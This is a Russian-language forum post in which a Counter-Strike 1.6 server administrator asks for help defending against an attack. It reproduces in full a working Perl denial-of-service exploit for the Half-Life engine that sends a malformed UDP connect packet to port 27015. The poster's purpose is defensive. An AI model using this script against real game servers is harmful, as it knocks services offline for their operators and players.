pc_Drozd
Сообщений: 21
Оценки: 0
Присоединился: 2006-11-27 11:39:15.090000
|
Я уже давно столкнулся с задачей как убить CS 1.6. убивать мне никого не надо хотя при надобности енто сделаю с лёгкостью. ;) Сейчас меня волнует другое как Администратора, мне нужно защитить CS . Самая жесть этого исходника в том что он не выклюает сервер (я запускаю сервер через server doc - он следит за жизнью сервера) а делает его не работо способнеым. Буквально в чера я с толкнулся с атакой…. мои мысли о том как решить эту проблему - просмотреть в консоле IP гада и забанить - запретить коннект на сервер с одного порта, ибо исходни коннектится с рандомного порта на сервер и это не поможет - ставить Steam мне нет ни какого смысла потому что когда я пропатчил CS её никто не видел в лане… почему? потому что они даже не догоняют многие как это и к чему это =), так что стим ставить - этот верный упад спроса на 0% …. Так же я заметил что на ЛинуХ сервера CS этот сплоит не действует хотя у них не Steam! Вот исходники #!/usr/bin/perl # Half-Life engine remote DoS exploit # bug found by Firestorm # tested against cstrike 1.6 windоws build-in server, cstrike 1.6 linux dedicated server. use IO::Socket; die "usage: ./csdos <host>" unless $ARGV[0]; $host=$ARGV[0]; if (fork()) { econnect($host); } else { econnect($host); }; exit; sub econnect($) { my $host=$_[0]; my $sock = new IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27015',Proto=>'udp'); die "Could not create socket: $!\n" unless $sock; $cmd="\xff\xff\xff\xff"; syswrite $sock, $cmd."getchallenge"; sysread $sock,$b,65535; print $b,"\n"; @c=split(/ /,$b); $c2=$c[1]; $q=$cmd."connect 47 $c2 \"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a36258af1bb64ed866538c9db76\"\"\\\"\0\0"; print '>',$q,"\n"; syswrite $sock, $q; sysread $sock,$b,65535; print $b,"\n"; sleep 3; close $sock; } Я всегда мог положиться на Журнал Ха, на свою голову, но я хочу услышать ответ, помогите буду благодарен!
|